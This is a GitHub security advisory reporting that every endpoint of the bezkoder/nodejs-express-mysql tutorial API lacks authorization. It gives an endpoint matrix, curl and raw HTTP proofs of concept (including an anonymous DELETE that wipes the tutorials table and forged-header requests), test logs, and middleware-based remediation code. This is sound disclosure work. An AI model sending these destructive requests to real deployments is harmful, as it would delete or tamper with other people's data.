Skip to content

Missing Authorization on All Tutorial API Endpoints, Including Anonymous Table Deletion #19

Description

@BL4CK570RM

Severity

  • Severity: High
  • CVSS v3.1 score: 9.1
  • CVSS v3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
  • CWE: CWE-862 — Missing Authorization

CVSS assumptions:

  • C:N — this finding scores the authorization gap on state-changing operations. Whether the read endpoints
    must be confidential is a product decision the repository does not document; if reads are intended to be
    private, the vector becomes …S:U/C:H/I:H/A:H = 9.8.
  • I:H / A:H — an unauthenticated caller permanently destroyed every row (DELETE /api/tutorials, table
    contents 5 → 0) and can modify or create arbitrary records.

Summary

Every endpoint of the tutorial API — read, write and destructive — is reachable without any credential. The
route definitions bind handlers directly, with no authentication or authorization middleware anywhere in the
repository, and no session, token, role, or ownership concept exists in the data model.

The strongest issue is not that reads are public, but that state-changing and destructive administrative
operations are anonymous
: any caller can create records, modify any record by id, delete any record by id, and
wipe the entire table with a single request. The request is accepted, the database operation executes, and the
API confirms success.

Authentication (proving who you are) and authorization (what that identity may do) are both absent: there is
nothing to authenticate with, and no check deciding whether the caller may perform the operation.

Affected Component

Item Value
Repository bezkoder/nodejs-express-mysql
Affected files app/routes/tutorial.routes.js (lines 7–25), server.js (lines 11–17 mount only cors, express.json, express.urlencoded); no app/middleware/ directory exists
Affected functions create, findAll, findAllPublished, findOne, update, delete, deleteAll in app/controllers/tutorial.controller.js
Affected endpoints all 8 application endpoints (see matrix)
Affected commit 68d3959; no authentication has ever existed in the repository's application code

Endpoint matrix (all requests sent with zero credentials)

METHOD PATH Handler (controller line) Operation type Verified response
GET / server.js:20 static banner banner JSON returned (no credential)
GET /api/tutorials findAll (31) read (unbounded) 200
GET /api/tutorials/published findAllPublished (62) read 200
GET /api/tutorials/:id findOne (45) read 200
POST /api/tutorials create (4) write 200 (verified with a valid body)
PUT /api/tutorials/:id update (74) write / modify 200
DELETE /api/tutorials/:id delete (104) destructive 200
DELETE /api/tutorials deleteAll (121) destructive (full table wipe) 200

Route binding, app/routes/tutorial.routes.js (pristine):

router.post("/", tutorials.create);
router.get("/", tutorials.findAll);
router.get("/published", tutorials.findAllPublished);
router.get("/:id", tutorials.findOne);
router.put("/:id", tutorials.update);
router.delete("/:id", tutorials.delete);
router.delete("/", tutorials.deleteAll);   // no middleware argument on any route

Technical Description

No handler performs an authorization decision. The router registers each controller function directly, so the
only inputs that matter are the path and body; nothing in the request is ever checked for identity or
permission. Repository-wide search for middleware|passport|jwt|session|cookie|authenticate|authorize|bcrypt| token returned no matches in application code (the single historical match for jwt is a documentation link
in README.md, commit d8cef0f).

Data flow for the destructive endpoint:

unauthenticated HTTP request
  DELETE /api/tutorials
        ↓
express Router (app/routes/tutorial.routes.js:25) accepts the request — no auth middleware in the chain
        ↓
deleteAll (tutorial.controller.js:121) is invoked
        ↓
Tutorial.removeAll (tutorial.model.js:117) executes `DELETE FROM tutorials`
        ↓
observed result: HTTP 200 {"message":"All Tutorials were deleted successfully!"}; row count 5 → 0

Attack Preconditions

  • Authentication required: none — no credential is checked anywhere in the request path.
  • Network access: any client able to reach the HTTP port (default 8080).
  • Privileges required: none.
  • Special configuration required: none; the behaviour is in the application code.
  • Works against a default installation: yes — started per the README (node server.js).
  • Assumptions used in the reproduction: an isolated local MariaDB with testdb.tutorials seeded with 5
    harmless rows; the host database was not touched.

Step-by-Step Reproduction / PoC

PoC 1 — Anonymous full-table deletion (primary)

DELETE /api/tutorials HTTP/1.1
Host: localhost:8080
curl -X DELETE http://localhost:8080/api/tutorials

PoC 2 — Same request with forged credentials (proves no credential is evaluated)

curl -X DELETE http://localhost:8080/api/tutorials \
  -H 'Authorization: Bearer forged.token' \
  -H 'X-Api-Key: forged' \
  -H 'Cookie: session=forged'

PoC 3 — Anonymous record modification

PUT /api/tutorials/2 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{"title":"x","description":"y","published":true}

PoC 4 — Anonymous record creation (unauthenticated write, also feeds the resource-consumption finding)

curl -X POST http://localhost:8080/api/tutorials \
  -H 'Content-Type: application/json' \
  -d '{"title":"spam-1","description":"anonymous write","published":false}'

Observed Result

Endpoint matrix with zero credentials (/tmp/opencode/audit-lab-FINAL.log, section 1):

GET    /api/tutorials             -> HTTP 200
POST   /api/tutorials             -> HTTP 500   (empty body; write path still reached)
GET    /api/tutorials/published   -> HTTP 200
GET    /api/tutorials/2           -> HTTP 200
PUT    /api/tutorials/2           -> HTTP 200
DELETE /api/tutorials/2           -> HTTP 200
DELETE /api/tutorials             -> HTTP 200
GET    /does-not-exist            -> HTTP 404

Destructive result, verified against the database:

rows left after anonymous DELETE: 0     <- table wiped by unauthenticated caller

with forged Authorization / X-Api-Key / Cookie headers the response was unchanged (HTTP 200, table
wiped) — confirming that no credential is inspected rather than that a bypass exists.

Anonymous writes confirmed separately:

50 anonymous POSTs: rows 20008 -> 20058  (no credentials, no rate limit, no quota)

Still open after the SQL-injection/error-handling fix: DELETE /api/tutorials -> HTTP 200
(/tmp/opencode/postfix-verify.log, section G).

Expected Secure Result

  • A DELETE /api/tutorials request without a valid, authorized token must be rejected with 401 Unauthorized
    (no credential presented) or 403 Forbidden (insufficient role), and the database must remain unchanged.
  • State-changing routes (POST, PUT, DELETE) must require authentication; the bulk-delete route must
    additionally require an administrative role.
  • Read endpoints must be classified deliberately: if the tutorial content is meant to be public, document that;
    if not, protect them with the same middleware.
  • Object-level checks must ensure the authenticated subject owns or may act on the targeted record.

Security Impact

Direct impact

An unauthenticated attacker can permanently destroy all application data, modify any record, create unlimited
records, and read all records. Because there is no ownership model, every id is globally addressable — once
authentication is added, per-object authorization (BOLA/IDOR protection) must be designed in as well.

Amplified impact

  • Root cause of this finding: absence of any authorization decision in the request path.
  • Interaction with other findings (not causes): combined with the SQL-injection finding, anonymous access
    means no foothold is needed to reach the injectable parameters; combined with the missing rate/pagination
    limits, anonymous writes enable unbounded storage growth. Neither of those findings is caused by this one.

Evidence

  • Source: app/routes/tutorial.routes.js lines 7–25 (pristine 68d3959); server.js lines 11–17.
  • Reproduction output: /tmp/opencode/audit-lab-FINAL.log (section 1 endpoint matrix, row count 5 → 0,
    forged-header test; section 10b anonymous writes).
  • Harness: /tmp/opencode/audit-lab.sh.
  • Post-fix status: /tmp/opencode/postfix-verify.log (section G — still HTTP 200).
  • Negative search: no authenticate/authorize/jwt/session/middleware code anywhere in the tree or its
    history (only a README documentation link, commit d8cef0f).

Root Cause

Routes are registered without authentication or authorization middleware, and no handler performs an
authorization check, so every operation — including bulk data destruction — executes for any caller.

Remediation

// app/routes/tutorial.routes.js
const auth = require("../middleware/auth.js");        // verifies JWT / session
const adminOnly = require("../middleware/role.js");   // enforces administrative role

router.get("/",          auth, tutorials.findAll);           // if reads are not intended public
router.get("/published", auth, tutorials.findAllPublished);
router.get("/:id",       auth, tutorials.findOne);
router.post("/",         auth, tutorials.create);
router.put("/:id",       auth, tutorials.update);
router.delete("/:id",    auth, tutorials.delete);
router.delete("/",       auth, adminOnly, tutorials.deleteAll);

Handler-level ownership check (prevents id-level abuse once auth exists):

exports.update = (req, res) => {
  // …load record, then:
  if (String(record.ownerId) !== req.user.id) {
    return res.status(403).send({ message: "Forbidden" });
  }
  // proceed with update
};

Defense in Depth

  • Rate limiting on write routes and per-account quotas.
  • Audit logging of destructive operations (who, when, how many rows affected).
  • Remove or restrict DELETE /api/tutorials outside of administrative tooling.
  • Do not rely on CORS as an access-control mechanism (CORS is browser-enforced only and was verified to be
    origin-restricted here, but it is not authentication).

Affected Versions / Git History

  • app/routes/tutorial.routes.js was created in commit be702f0 (2021-11-10) with no middleware on any route;
    the file has not been modified since.
  • The equivalent app/routes/customer.routes.js from the initial commit 8260dc6 (2019-09-25) likewise
    registered app.delete("/customers", …) with no authorization, so the pattern predates the current routes.
  • No authentication/authorization implementation has existed in application code at any point in the repository
    history.
  • Current master commit 68d3959 (2024-02-04) remains affected; there are no release tags, so the affected
    version is described by commit.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions